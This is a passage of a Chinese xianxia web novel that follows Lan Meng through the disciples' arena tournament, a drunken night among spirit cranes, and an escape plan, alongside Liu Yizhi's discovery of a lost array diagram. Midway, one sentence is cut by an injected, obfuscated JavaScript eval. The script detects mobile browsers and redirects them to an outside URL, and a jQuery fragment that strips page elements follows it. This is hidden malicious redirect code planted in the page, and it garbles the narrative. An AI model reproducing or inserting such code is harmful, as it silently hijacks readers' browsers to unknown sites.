楚乐耸耸肩道:“好吧,那我走了,有事就给我传讯。”她脚步轻快地离开了。 许渭很快就会身败名裂了哈哈哈,想想就开心啊! 一个时辰很快过去,岚孟将磨刀石收了起来。 月光如雪,照在锃亮锋利的刀刃上如有细小银龙游走。岚孟手腕用力一推,商刀便飞了出去,完美避开了参差错落的竹枝。一阵风吹来,竹叶纷纷落下,被凌冽的刀刃割成两段,商刀在竹林中转了一圈,回到了岚孟的手中。 踏着月色,岚孟离开了竹林。 - 次日,清瑶宫,藏典阁。 丹灵卫忙于任务,焱堂弟子要么在打擂,要么在演武场看热闹,偌大的藏典阁静悄悄的,一路走到九层,柳逸直没有遇到一个人。 连轴转忙了三日,今日总算有了些空闲时间。九层有上千卷阵法、禁制相关典籍,柳逸直在这里待了一个月,所阅不过五百余卷,一直没找到合适的阵法。 他走到书架之间,取了最高处的第一卷书下来。正打算找个地方坐下,余光忽然瞥见了一抹金黄,他伸长胳膊将那本被挤书架缝隙里的书卷抽了下来。 夹在书中的是一片金黄的枫叶,不知是何人何时放在书中的,叶子枯干,一碰就碎成了粉末。 “燕归巢……”柳逸直低声念出了书的名字。他粗粗浏览了一下,发现这本书讲的是一个女子含冤而死,复活三次却早已无力回天的故事。 这样的闲书不应该在一层吗?莫不是谁放错了吧? 柳逸直将书页翻到了最后,一张泛黄的纸掉了出来,飘飘摇摇落在了地板上,明媚的阳光从窗边闯进来打在纸上,落下一片浅淡的剪影。 他将纸捡了起来。纸上画了两个同心圆,圆上各有五个圈,复杂的线条盘踞于两圆之上,右下角有小字批注:鸿蒙神行阵。 显而易见,这是一张残缺的阵法图。 柳逸直暗想:神行阵?威力尚未可知,口气倒是不小。 他走到窗边席地而坐,斑驳树影落在了他的肩背上,时不时有灵鹤振翅之声和秋虫的啼鸣传入耳中。食指在阵法图上勾勒,他的识海里也有云雾慢慢构建起了对应的阵法线条,可尚未勾勒完全,那云雾之阵便忽然溃散了,柳逸直的喉头涌上一抹腥甜,他立即运功疗伤。 几息之后他才缓了过来,重重舒了一口气,拧眉看着那张泛黄的纸。 仅仅是勾勒阵法线条就令他气血翻涌,绘制此阵之人绝对不简单。他将那本书翻来覆去看了好几遍,却没有发现更多的玄机,怎么看都只是平平无奇的话本罢了。 将阵法图夹在此书中,莫非只是绘阵之人的无心之举? 在他的想象中,绘阵之人也如他一般坐在藏典阁九层某处,粗粗画下阵法,然而尚未完成便有要紧的事情需要解决,于是他将图纸和一片枫叶都放进这本用来消遣的话本后便匆匆离开了。后来他忘记了此事,话本也被粗心的弟子放在了不属于它的无人问津的书架上,直到今日被他从角落里翻了出来。 等等,枫叶? 柳逸直忽然灵光一闪。他将两册书卷都放回了原位,只带着那张图纸奔出了藏典阁,踏着风而行,不多时便回到了北园家中。 他搬来这间木屋时,将尧玦所剩不多的物件都放进了床底的箱子里。他在箱子里找到了一本千字文,虽然不理解为何堂堂掌炬、大妖重明尧玦的屋子里为何会有千字文这种孩童启蒙用的书,不过这书倒是帮了他大忙了。 书中有尧玦的批注,他对比了一下阵法图上的字,差不多可以确认此阵乃是出自于尧玦之手了。 尧玦还擅阵法? 尽管幼时曾得尧玦相救,还获赠一片尾羽,在人家的屋子里也住了十年,可柳逸直对尧玦的了解仅来源于师长们的只言片语以及坊间传闻。 尧玦是九州第一乐修,郎艳独绝,世无其二。一人一竹笛独步天下,风声,雨声,谈笑声,任何声音都能成为他的武器,杀人于无形。两百年前,魔族进攻雁门关,他仅凭一曲“破郁春”便灭杀了数万魔族,逼得群魔退回九幽,至今仍不敢再进犯。 曾有人找到尧玦,想要为他写传,可是被他直言拒绝了,正因如此,虽然世人对尧玦多有尊崇,他的生平和事迹却鲜少有文字记载。在尧玦陨落之后,虽有不少人根据传闻为他写过传记,可是其出身、死因等,皆因没有详实记载而语焉不详。 柳逸直纠结于该找人询问还是去藏典阁看看。藏典阁估计找不出来什么,而洛山和风菱衣还没回来,除了这两人,他也没谁可问了。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929627|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,一只纸鹤从窗户飞了进来,“啪嗒”一声掉在了地上。 柳逸直勾了勾手指,纸鹤便被一股轻缓的风托着飘到了他手上,他拆开纸鹤一看,发现是乾霄阁传唤。 源主找他有事? 柳逸直心中隐隐有了一个猜测。他将阵法图纸夹在千字文里好好收了起来,然后便踏风来到了乾霄阁,一进议事堂的门,他便看见了坐在梁齐安身后的洛山。 柳逸直想,真是说曹操,曹操就到。 洛山神色沉稳,目光与他相撞时,轻轻点了点头。 议事堂里有不少人,八位山主都到齐了。楚乐站在正中央,接受着山主们的审视。 一看这个阵容,柳逸直便知道召他前来所为何事了。 楚乐不着痕迹地看了柳逸直一眼,然后便收回了目光。 柳逸直走上前去一一行礼问候,左愁双摆了摆手,开门见山道:“试炼空间崩塌前,考生闫扶音同你们在一起?” 他点点头:“回山主,确实如此。” “你以为此人如何?”左愁双继续问道。 所有人的目光都汇聚到了柳逸直身上。 柳逸直敛下眼眸,沉声道:“弟子觉得她隐藏了修为,而且在此之前,她或已经同朝圣道交过手。” “哦?”叶于明挑了挑眉,“何出此言?” “观其灵力波动,弟子推辞此人修为应当在闻道境。她知道如何阻止魔修自爆,并且能一眼就看破血液中是否有魔气存在,若不是和朝圣道打过交道,断不会如此熟练,是以弟子才有如此推断。” “没别的了?”叶于明问道。 闫扶音扑向许渭的场景在脑中一划而过,柳逸直摇了摇头,道:“弟子没有其他补充。” 议事堂中一时间无人说话,左愁双摆了摆手道:“你二人下去吧。” 楚乐和柳逸直一同退出了议事堂。 感受到外界和煦的微风,楚乐方觉自己手心里满是冷汗,她浑不在意地在衣襟上揩了一把。 她斜斜看了柳逸直一眼,还真是让岚孟那厮说中了。她没和他搭话,招来灵鹤飞向天际。 柳逸直在门口等了一会,也没见洛山出来,心想看来一时半会儿结束不了。 于是他便踏着风离开了乾霄阁。 议事堂内,左愁双道:“诸位意下如何?” “许渭身上并无术法的痕迹,那时一下子接收了太多暾云炬神力,所以才昏迷不醒。”清瑶宫山主羊玄道。 “综合玉牌留影来看,许渭的行动一切如常,并没有遇到什么特别的事情,和他接触过的丹灵卫都已经问过话了,诸位以为是否需要再叫几个考生过来?”叶于明问道。 “考生连暾云炬都没接触过,能问出个屁来!”梁齐安道。 “据我所知,唯一值得留意的闫扶音,乃是奚玄门岳孤明座下弟子,她知晓朝圣道的事情不足为奇。”焱堂山主临琮道。 梁齐安附和道:“不错,岳孤明那小子怎么可能不教自己的弟子怎么对付朝圣道,他巴不得将朝圣道群魔赶尽杀绝。” “先生怎么看?”左愁双看向破天荒来议事却一直没有说话的玉成汝。 玉成汝淡淡道:“不论霞云选中何人,都是暾云炬自己的意愿。” “如此说来,我们或可准备掌炬授礼仪式了?” 玉成汝点了点头。 自尧玦陨落以后,暾云炬第一次表现出再择掌炬的意象,这莫过于是天大的好消息,几位山主都面露喜色。 破格参加山主会议的洛山却面带犹疑。 许渭啊…… 算了,反正他人微言轻,也改变不了什么。 32. 擂台赛 九月十三,是考生们擂台比试的日子。 焱堂一共有五个演武场,每个演武场各搭建了二十个擂台,擂台边的杆上悬挂了写有数字的旌旗。距离辰时还有半个时辰,三百多名考生均聚集在第一演武场内,秦谬在最前方宣读擂台比试规则。 “……分数均由二十位稽查共同给出,按照由高到低的顺序排序,排名已经传至玉牌上,数字即代表名次……” 鸣珂看了看自己玉牌上一百开外的数字,偏头往闫扶音那一瞥,果不其然看见了大大的“玖”字。 何与飞大为震惊:“你干什么了,排名这么靠前!” 可能是上交了魔核的缘故,他亦榜上有名,只不过已经是吊车尾了。 岚孟遗憾地想,怎么是前十名啊,她可不想当出头鸟,那些山主们最好别来。 秦谬:“……规则宣读完毕。现在前一百名的考生前往各自的擂台,其余考生可在告示栏查看和选择挑战对象。” 告示栏类似水镜,实时更新守擂者的信息,姓名、修为、门派一览无余。 何与飞要去第五演武场,鸣珂去看告示栏了,三人就此分别。 二十个擂台坐落于演武场中央,背靠背分作两排,每个擂台对面都有负责记录和监督的丹灵卫。 岚孟找到了悬挂着“玖”字旗的擂台,单手撑着擂台边缘跳了上去,取下商刀抱在怀中,盘腿坐在了角落里。 其余人陆陆续续到来。 尽管她这三天在落霞坞到处溜达,也听了不少这届考生里佼佼者的传闻,可这二十人里她只认识六个。 前三名都是焱堂弟子,分别是周章、苗为芝、诸葛宁,第四是揽月剑派齐悦风,第八乃是太乙门卫今,除了卫今是知行大圆满境界,其余几人皆为知行后期。最后一人,第二十名,白渐行,散修,修为仅元初大圆满,却是岚孟遇到的第一个光系修士,故而她才对他多了几分关注。 变异灵根本就难求,光系修士更是凤毛麟角,他们对魔气有着天生的洞察力,高阶强者甚至只一眼就能看出一个人是否被魔气侵蚀,这些人无一例外都会成长为叱咤风云的大人物,前提是修为较低时别被人杀死。 白渐行的擂台就在岚孟斜对面,他看起来十分局促,手脚都不知道该往哪放,一对上别人的目光,整个人便如惊弓之鸟般抖一下。 岚孟默默收回了目光。 看着好像不太中用啊。 很快,悠远厚重的钟声响起,擂台比试正式开始。 第一演武场内有不少人围观,可一时间竟无人上台挑战。他们心里都清楚,短短三天时间便能获得高分的人,不是在溯回试炼里抓到了魔,就是在对抗朝圣道袭击上作出了贡献。在不清楚朝圣道存在的前提下,他们能迅速作出判断并解决事端,这样的人,哪个会是省油的灯?更何况这些人本就是各门各派修士中的佼佼者。 太阳爬上了山头,暖呼呼的阳光洒向大地。岚孟缓缓打了个哈欠,闭上眼睛假寐。不多时,一个人跳上擂台,岚孟睁开了眼睛,没想到竟然是她最先遇到对手。 来人是个健壮的刀修,浓眉大眼,气势迫人,抡着一杆和他一般高的关刀,他放声大笑:“崇刀门蒙自山,前来挑战抱川刀!” 岚孟起身走到他面前,两人对行一礼,负责此擂台的丹灵卫点上了一柱香。 蒙自山的刀法和抱川刀有异曲同工之处,同样是大开大合的招式,破坏力极强,没多时便将擂台劈开了好几个口子,若不是擂台四周有阵法阻隔,他甚至能一刀劈到别人的擂台去。 岚孟身法诡谲,一边躲避他的挥砍,一边找机会偷袭,维持着知行前期的实力水平。直到一炷香时间过半,她才骤然发难,用巧劲卸掉蒙自山手中刀,将商刀架在了他脖子上。 负责的丹灵卫在铜钲上敲了一下,将香掐断,宣布道:“闫扶音胜!” 岚孟移开刀,朝蒙自山拱了拱手,“承让。” 蒙自山大笑三声,豪爽道:“不愧是抱川刀的传人,在下佩服!” 岚孟没有否认,镇定自如地将商刀插进了刀鞘之中。 随着岚孟首战告捷,其余人也纷纷迎来了对手。 两个时辰过去,岚孟相继打败了二十余人,演武场上只剩零零星星几人仍在观望,看他们都没在关注自己,于是她便坐回了角落里,一腿垂到擂台边缘,手习惯性地垂下想要抠着什么,摸到光滑的石壁时,她才想起来这已经不是屏基山阴冷昏暗的洞窟,这擂台上也不会有青面獠牙的凶兽浮雕给她消磨时间,她收回手不太自在地挠了挠头。 斜前方,白渐行正在战斗。 只见他在不算大的擂台上抱头逃窜,以躲避对手的冰刺攻击。 那姑娘气得直跺脚,“姓白的,你个缩头乌龟!就只会跑吗!”她双手结印,召出一条巨大的水龙,随着她振臂一挥,水龙便呼啸着朝白渐行飞去,“我看你还往何处躲!” 白渐行扭头看了身后追着他不放的水龙一眼,浑身一抖,跑得更快了。 姑娘:“……” 岚孟看着他的步伐,只感觉凌乱中又隐含规律,有些熟悉,正拧眉思考这熟悉感从何而来时,耳边忽然传来一声轻叹。 “闫姑娘,你可看出来这小子是什么路数?” 她扭头看去,只见卫今负手站在擂台角落,和她仅几步之遥,对上她的目光时,他勾唇笑了笑。 “在下只看得出来是在布阵,不过是何阵法就不得而知了。” 岚孟收回目光,回忆半晌,紧蹙的眉头忽然放松,像是在自言自语。 “躲猫猫阵,吗?” 卫今:“哈?” 她想起来了,约摸六十多年前,尧玦带她来到了一处古老神秘的村落,那里偏僻寥落,要在人迹罕至的森林里潜行很久才找得到村子。村人不知道是离开了还是都死了,只剩一对相依为命的父子。父亲年迈,没多久便寿终正寝了,静默如山的少年独自给父亲挖了坟立了冢,然后便背着剑下山了。 尧玦站在村中看着少年逐渐远去的背影,道:“可千万别失传啊。” 她从树梢飞到了尧玦的肩膀,冲着他叫了一声。 尧玦笑了一下,伸手抹了抹她头上的翎羽,道:“是躲猫猫阵哟。” 尧玦并没有解释什么是“躲猫猫阵”,岚孟也忘记了那少年的模样,却记得他悲痛寂寥的背影,和那凌乱中隐含秩序的步伐。 白渐行当然不可能是那少年,年龄对不上,可他的步伐却让岚孟捕捉到了一丝少年的影子。 莫非是那少年的后人? 水龙和白渐行总是隔着一步的距离,在擂台上绕了数圈也碰不到白渐行的一片衣角,姑娘怒火中烧,她分神凝起几根冰凌袭向白渐行,却被他灵活地躲开。 白渐行心有余悸地拍了拍胸口,然而下一秒,地面上不知何时多了一块凸起,他一个不防踢了上去,踉跄几步就要摔个狗坑泥。 姑娘兴奋道:“成功了!” 水龙张开嘴朝白渐行咬去,就在这时,白渐行往下倒的身躯瞬间变得透明,在水龙口中化为了无数光点,水龙收不住势,扑到擂台上碎成了水花。 光点在空中汇聚成了四个模糊的影子,看身形依旧是白渐行,只不过面容模糊,难以辨认哪个是真哪个是假。 姑娘眼神一凛,她双手结印,无数冰刺拔地而起,然而那影子根本没有实体,不论她攻击哪一个“白渐行”,冰刺 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柳逸直站在擂台不远处的树荫下,眯起眼睛看清了那男子是谁——第四名齐悦风,据说是太乙门年轻一辈最强者。 齐悦风败了? 他看向第四个擂台,那里空无一人,而负责此擂台的丹灵卫一脸生无可恋地蹲在铜钲旁。 怎么回事? 时间回到半个时辰前。 经过四个时辰的比试,前十名一人未败,后十名换了几人,剩下的都是硬骨头,攻擂的考生们见没有机会便纷纷前往其他演武场了。及至申时,第一演武场再无攻擂者。 岚孟百无聊赖地坐在擂台上打瞌睡,齐悦风忽然跳上了她的擂台。 不同于达文泰咄咄逼人的态度,齐悦风称得上是文质彬彬,他对岚孟抱拳,隔着鲛云纱直视她的眼睛,笑道:“闫姑娘,你我比划比划如何?” 岚孟拒绝道:“我们同为守擂者,似乎并不是可以比试的关系。” 齐悦风指了指身后:“反正现在无人挑战,闲着也是闲着,姑娘放心,在下已经和监考的师兄打过招呼了。” 岚孟顺着他的手往边上一看,只见擂台前的数名丹灵卫皆一脸幽怨地瞪着齐悦风。 岚孟:“……” “听说之前在飞舟上,贵派弟子何与飞师弟漂亮地赢了达文泰一场,只可惜在下当时并不在场,不能领略何师弟的风姿。在下早就对抱川刀好奇不已,现在既然有机会,自然也想领教一番。” 岚孟不为所动:“那你该去找何与飞。” 齐悦风挑眉一笑:“姑娘也是奚玄门的弟子,想来在下找姑娘你还是找何师弟,都是一样的。” 岚孟心想,只是切磋比划的话,她倒是无所谓,但问题在于她不会抱川刀啊! “道友有所不知,我刚入奚玄门不久,尚未修习抱川刀。” 齐悦风顿悟:“原来如此,难怪我瞧着姑娘面生,想来是今年才入的奚玄门吧?” 岚孟点点头。 是的,加入奚玄门还不到十天,所以你赶紧下去吧。 齐悦风“歘”地一下抽出腰间长剑,“那就更应该切磋一番了,入门不到一年便能越过师兄们拿到丹灵卫试炼资格,如今还进了前十名,想必姑娘身上定有过人之处,这让在下相当好奇啊。” 他挑眉一笑:“还请姑娘圆了在下心愿吧。” 岚孟颇为无语地看着面前眉目含笑的男子。 非要揪着她不放,他到底有何居心? 岚孟抽出商刀。 算了,兵来将挡水来土掩吧。 33. 糖水酒 岚孟身法迅疾如闪电,刀势沉若巍峨之高山,齐悦风挥剑如飞,剑气若寒凉之秋水,剑招迅速而犀利,肉眼几乎捕捉不到两人的身形。 岚孟于刀剑一道其实并不擅长,她最擅长的,是用蔷薇藤,撕裂绞杀,毁灭一切。可在齐悦风迅猛的攻势之下,她也渐渐升起了一丝好胜之心,也想知道自己的极限在哪里。 刀光剑影交错,恍若龙虎相斗,每一次挥斩都带出凌冽的破空之声,擂台周围的阵法几乎要支撑不住,透明的屏障多了几道裂痕。 双眼愈发刺疼,视线时不时发黑,岚孟知道自己不能再打下去了,一边防守一边减缓攻势。余光中,她瞥见一个青衣人站在不远处的树下,是柳逸直。 他身后逐渐浮现了一个白衣身影,似是从浓雾中走到了现实里,她看清了他的模样,心抖了一抖,一个不注意脚便踢在了被削得凸起的擂台上。 齐悦风抓住了这一丝破绽,掌心灵力迸发开来,覆盖在了锋利剑刃上,他举剑一劈,剑气便破开空气朝岚孟袭去,风声呼啸着吹掉了岚孟头上的帷帽,她闭着眼睛挥下一刀,终是不敌,被磅礴灵气击飞了出去,落地时单手往地上一撑才不至于摔个狗啃泥。 她勾了勾手指,帷帽便“嗖”地一声飞到了她手中。 将帷帽端端正正扣在头顶之后,岚孟朝那个方向看去,只见一青一白两个人安然立在树下,夕阳的余晖洒在他们身上,朦胧似幻,不似世间人。 柳逸直见闫扶音两眼直勾勾地盯着自己,心下起疑,扭头往身后一看,只见一身惨白的玉成汝赫然立在自己身后,他骇然失色,差点维持不住表情。 然而玉成汝什么也没说,也没给他一个眼神,就好像只是来瞧上一眼,得到了自己想要的答案,他的身影便如雾气般淡去了。 等柳逸直再回头时,闫扶音已经移开了目光,仿佛方才她的失态只是他的错觉一般。 齐悦风将剑收了起来,朝岚孟拱了拱手,笑道:“闫姑娘果然名不虚传,不愧是令人闻风丧胆的帷帽混蛋。” 像是有一把刀扎在了她的心头,岚孟僵硬道:“莫非这才是道友紧追不舍的原因?” 齐悦风爽朗一笑:“哈哈哈,实不相瞒,是同门师妹在你这里受了委屈,想让在下来教训姑娘一顿呢!” 岚孟:“……” 齐悦风走近她,压低声音:“下一次,可就不要手下留情了,闫扶音。” 言罢,他加快脚步跳下了擂台。 岚孟看着齐悦风越走越远,忽地弯了弯唇角。 他说错了,她并没有手下留情,她早已落入下风,就算没有那个破绽,她也很快会败于揽月剑下,这点自知之明她还是有的。 只是……岚孟偏头望向那树,那里空空如也,早已没了玉成汝的身影,柳逸直那家伙也已经不在了。 钟声激荡上碧霄,酉时到了。 还站在擂台上的人都被传送至巽崖大殿之上,其余人领走一份丹药之后也纷纷离开了山到源,虽然不幸落选,可这一次的经历对他们来说也弥足珍贵吧。 大殿中,一百名新晋预备丹灵卫吵吵嚷嚷,说话笑闹声几乎可以掀翻屋顶。 值得一提的是,岚孟认识的人全都入选了,何与飞、鸣珂和诸葛宁自不必说,修为较低的娄雪沁、翟子续、袁涯邻、言如期几人也成功撑到了最后,当然,也包括达文泰那家伙。 如今,何与飞和新朋友侃大山去了,鸣珂追着言如期走了,娄雪沁和袁涯邻都和自己的同门在一起,岚孟乐得清闲,独自盘腿坐在偏僻无人的角落里,一手托着腮,拧眉思考着玉成汝的葫芦里卖的究竟是什么药。 她那点小伎俩骗骗其他人可以,却瞒不过玉成汝的眼睛,既然已经看破她的真身,却为何不拆穿?他可不是会把事情按下不表再秋后算账的性子。 算了,他睁一只眼闭一只眼也好,能省去她不少功夫,毕竟他是除了掌炬以外唯一能左右暾云炬的人。 岚孟眼神暗了暗。这也提醒了她,以后在山到源里,千万不能再鲁莽行事了,任何行差踏错都可能会引来强者注视,否则她这十七年的筹谋都将功亏一篑。 很快,梁齐安现身了,先是讲了一大堆恭贺考生顺利入选的话,再讲了讲接下来的安排。 晚上会在落霞坞举办庆功宴,明日山水令将直接发到他们手中,届时他们这一百名考生就是正式的预备丹灵卫了。 有人窃窃私语:“怎么回事,为何不举办山水令授予仪式了?” “你傻啊,祈雨山上发生了那么大的事情,山主们哪里还有功夫管我们这些小虾米!” “这么说许渭许令尹会接任掌炬了?” “谁知道呢,话说自那天以后他就没有露面了啊。” “……” 岚孟将他们的对话都收入耳中,意味深长地扯了扯嘴角。 梁齐安不是啰哩八嗦说个不停的性子,很快便结束了他简短的讲话,让考生们前往落霞坞了。 岚孟本不打算去那劳什子庆功宴,可耐不住鸣珂和娄雪沁的坚持,盛情难却之下只好依着她们来到了落霞坞。 膳堂里摆了一百余桌席面,除了预备丹灵卫参加,还有担任稽查和监督擂台的前辈们,玉盘珍馐,琼浆玉露,觥筹交错,热闹非凡。 岚孟坐在一干认识和不认识的人之间,象征性地尝了几个菜,然后便放下了筷子。 娄雪沁和翟子续不知从哪里抱了几坛酒过来,一人分得一小坛,岚孟扯开酒塞闻了闻,并没有闻到什么酒味,反而是一阵甜甜的花香。 先前娄雪沁便在别处饮了不少酒,此时脸颊红红的,她搂着岚孟的肩膀,双眼迷离地笑道:“扶音,这是我们焱堂的同门自己酿的好酒!你大胆喝!要多少有多少!” 岚孟忽然想到了那还没有着落的红尘酒,便举起酒坛和娄雪沁碰了碰,抿了一小口,果然没尝到什么酒味,甜丝丝的,一点也不会觉得腻。 鸣珂只待了一会便找言如期去了,娄雪沁和她的同门们划拳、行酒令、谈天说地,不多时也不见了人影。 岚孟只觉得此间吵闹异常,引得人心浮气躁,便提前离席了。 不远处,一直留意着闫扶音动向的柳逸直见她独自一人鬼鬼祟祟离开,便撇下众人跟了上去,然而才进入落霞坞北面的树林里,他便把人跟丢了。 在树林里转了一会也没找到人,柳逸直本打算打道回府,空中忽然传来振翅的声音,他抬头一看,只见几只灵鹤径直飞向了西边,其中一只十分眼熟,是坑了他几次的旺财。 树林东面有一片滩涂地,夜里灵鹤们大多栖息在那里。灵鹤们都有固定的工作和休息时间安排,今夜该是旺财休息才对,它大半夜上哪凑热闹呢? 柳逸直跟了上去。 不多时,他隐约听见了断断续续的说话声,走出树丛一看,只见空地上停了十多只灵鹤,其中几只单腿站着,蜷着头颈,将喙插到两翅之间呼呼大睡了,而像旺财这样新来的灵鹤,还昂着脖子往树上看。 要说树上有什么……柳逸直的嘴角难以遏制地微微抽动。 只见闫扶音蹲在粗大的树干上,她反常地没戴帏帽,黑色裙摆垂落在空中,随着夜风来回飘扬,脚边蹲着一只游隼、两只松鸦、三只圆滚滚的柳莺,以及若干他叫不上名字的小鸟,它们按照体型大小一字排开,一直蹲到了树梢。 待柳逸直走近了,他才听清楚她到底在嘀咕些什么,竟引得林鸟围观。 “……知其荣,守其辱,为天下谷。为天下谷,常德乃足,常德乃足……知其雄,守其雌……为天下谷,常德乃足,常德乃足……”她皱紧了眉,一直重复着“常德乃足”①。 柳逸直心想,这是想不起来了,从头开始背,结果还是卡在同一个地方吗? 见她支支吾吾半天也想不起来下一句,他出言提醒道:“复归于朴。” 闫扶音的眼睛一下子亮了,她接上了话头:“常德乃足,复归于朴。朴散则为器,圣人用之,则为官长,故大制不割。” 背完,她点了点头,扭头看了身边的游隼一眼道:“听懂了吧。” 游隼叫了一声,也不知道是听懂了还是没懂。 像是才看见他一般,她瞥他一眼,疑惑道:“你怎么在这里?” 柳逸直没回答,反问道:“你又为什 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“夫物……”岚孟顺利背完了这一章节,扭头朝游隼问道:“听懂了吧?” 游隼配合地长啸一声。 岚孟满意地点点头,然后继续背下一章。 柳逸直好气又好笑,一时间竟然不知道该说些什么。他还是第一次见到喝醉了蹲在树上背书,还要询问林鸟听懂没有的人,更何况她还记不清楚,若没人提醒,她不会一直卡在“知荣守辱”篇吧? 他一把夺过她手中的酒坛,道:“别喝了。” 岚孟愣了一下,收回手放在膝盖上,讷讷道:“噢。” 柳逸直不客气地笑出了声。这人喝醉了倒是一副温和小羊羔的模样,不似平日里那般心机深沉,表面上人畜无害,实则温和面皮下是一身的倒刺。 他道:“你也别在这背书了,喝醉了就回去休息吧。” 岚孟微微仰头,两眼放空,似在思考,半晌才决定道:“那好吧。”她纵身跳了下来,昏昏欲睡的灵鹤们被惊地飞了起来,洁白的羽毛簌簌落下。 她自顾自走到鹤群中柔软草地上躺下,两手交叠于腹前,柳逸直还当她睡了,走近一看,却发现她眼还睁着,一轮浅淡的上弦月映在她漆黑眼瞳之中。 柳逸直:“你在干什么?” 岚孟答:“晒月亮。” 柳逸直张了张嘴想要说些什么,继而伸手掩唇闷笑。 怎么说呢,还怪可爱的。 虽然他很想直接问她混进山到源有什么目的,是不是为了遮掩能够调用的暾云炬神力这一事实,才封禁了他们的记忆,可不清楚她酒醒后还会不会记得当下发生过的事情,他谨慎地没有开口。 隔着三步的距离,他在她旁边坐下。灵鹤们都醒了,低下头颅啃着草皮,旺财“嘎嘎”叫了几声,踩着他的脚背扑过去啄那只肚子浑圆的柳莺。 寂寥的夜里秋虫啼鸣便愈发清晰,甫一开声,便如投梭织布般,一声接着一声,柳逸直竟在这略显聒噪的虫鸣里感受到了一丝久违的惬意,好像整颗心都落入了平静的潭底,一切喧嚣都被隔绝在了水面之外。 仿佛过了很长时间。 岚孟腰间的芥子袋里忽地传来一阵灵气波动,她摸索着将里面的传讯符抽了出来,娄雪沁带着醉意的声音响起:“扶音,你在哪呢?我们,嗝,我们打算回去了。” 她似乎清醒了一点,“就来了。” “对了,你看见柳,柳师兄了吗?在膳堂里找不到他人。” 岚孟:“没看见。” 柳逸直:“……” 他看着她掐断传讯符,起身时还抬手拍了拍后腰的衣襟,然而草屑却顽固地抓着布料不肯松手,她也没注意,就顶着一后背的草屑走了出去。 柳逸直亦步亦趋跟在她后面,直到看着她和娄雪沁几人汇合以后才收回了目光。 一路吹着夜风,快回到南园的住处时,岚孟头上那股晕乎劲才过去了。 她愣了半晌,才伸手挠了挠头,浑身灵气微微震荡,身后草屑便扑簌扑簌飘落在了地上。 34. 暾云炬 回到房中,岚孟正躺下睡觉时,辛念忽然来信了,黑团子蛄蛹着滚到了她肚子上。 她拎起那东西,黑团子的眼睛从背后转了过来和她对视,狡黠地眨了一下眼睛。 岚孟握紧了拳头,她几乎可以想象对面之人那讨厌欠揍的表情,于是一把将黑团子甩了出去。 它径直撞到了对面的墙上,摔成了一摊饼,然后无力地滑了下来。 半晌,黑团子才幻化出蜘蛛一般的腿从床脚爬了上来。 岚孟已经盘着腿坐在了床上,双手环胸,拿鼻孔看着它。 “什么事?” 辛念嘿嘿一声:“有一个好消息一个坏消息,你要先听哪个?” 岚孟沉着脸不说话。 辛念只好干咳一声掩饰自己的尴尬,道:“好消息是我找到海鰌的踪迹了,不出意外的话只需要三天就能抓住它了。坏消息是它太大了,我一个人对付不来。” 岚孟:“所以?” 辛念:“所以你派个人过来帮我,你自己没工夫过来吧?” 岚孟无奈扶额。不过也是,海鰌身长十几丈,是海上最大的生物,单凭辛念一人确实有些棘手。 “姓贺那家伙如何?养了这么多天伤也该好了,也不能一直让他在夏澜熹眼皮子底下待着。” 辛念道:“可以,是个人就行,尽快哈,你让他三天之内必须到,否则那大家伙就跑了。” “三天?陵州距离东海有十万八千里远,你当他有飞毛腿啊!”岚孟怒骂道。 “哎呀,困难总有办法克服的嘛,你多给他点钱,让他坐传送阵过来不就行了。” “你当钱是大风刮来的吗——” “不说了,海啸来了。” 黑团子“嗖”地一声窜进了黑暗里。 岚孟:拳头硬了。 - 贺舟晏的腿伤其实两天前就痊愈了,但要是被夏澜熹知道了,她肯定立马带着他赶回禅宗了,他可不想去那佛门圣地听秃驴念经,所以一边推说腿还没好来拖延时间,一边找机会逃跑。 夜半三更,夏澜熹忽然离开了,贺舟晏一骨碌翻身从床上爬了起来。虽然夜闯山到源有风险,但是今夜那些新晋丹灵卫在举办庆功宴,山主们彻夜议事,估计除了禅宗的几位,没人会关注他一个小喽啰。 此时不走,更待何时? 他雀跃地拉开窗户,就要逃离这个害他不浅的地方,然后猝不及防被人堵了回来。 “是你?” 岚孟谨慎地合上窗户,上下打量他几眼,问道:“你准备逃走?” 贺舟晏冷哼一声,还不是因为她这个内应丢下他不管,他就只好自寻出路了。 岚孟将一份简易的手绘地图摊在了桌子上,“你沿着南园一直往东走,从迷障林出去。现在林中阵法已经撤了,但是还有这几处守备森严,需要格外注意,以你的修为,避开守卫应该不是难事。” 地图清晰明了,不仅标注了守卫情况,就连哪里有陷阱、哪里有灵兽巢穴都一览无余,贺舟晏心想这内应倒是有些本事,对山到源简直了如指掌。 不过,她不是才来考丹灵卫吗,为何对山到源如此熟悉? 很快,贺舟晏就没功夫想这些有的没的了。 岚孟给了他一个芥子袋,她的半数灵石都放在里面了,她叮嘱道:“这里有三万灵石,等你见到辛念了,记得让她给我打欠条。” 贺舟晏纳闷道:“啊?让我去找辛念?她不是在东海吗?” “所以才给你这么多路费坐传送阵,三天之内必须到她那里去,具体什么事她会告诉你的。” 岚孟摊开手掌,一朵白色蔷薇花在她掌心绽放开来,“这东西你留着防身,关键时刻能抵挡闻道境修士全力一击。” 贺舟晏小心翼翼把那花收了起来,这可是好东西啊。 岚孟推开窗户让他先走,“房中有禁制,我留在这里给你打掩护,最多撑一盏茶时间,你只有在此之前逃到迷障林才不会被人追上。” 贺舟晏道:“那你怎么办?” “我自然是留在山到源,”岚孟勾唇一笑,“放心,我逃跑的手段可不会比你少。” 贺舟晏点了点头,“那就有缘再会。” 他跳下窗户,身影迅速缩小,融入了黑暗之中。 岚孟在屋子里坐了一会,察觉到禅宗的人有所动作以后,她迅速跳窗离开了。 睡梦中,元赫忽然收到了夏澜熹的传音,说是贺舟晏那贼子逃走了,他立马从床上跳起来去看,只见屋中空无一人,窗户大开,对面屋顶上,一个黑衣人影一闪而过,他立马追了出去。 然而才追了几步远,北边耸入云天的山上忽然亮起了一阵华光,元赫下意识看过去,再回神时那黑衣人已经逃得没影了。 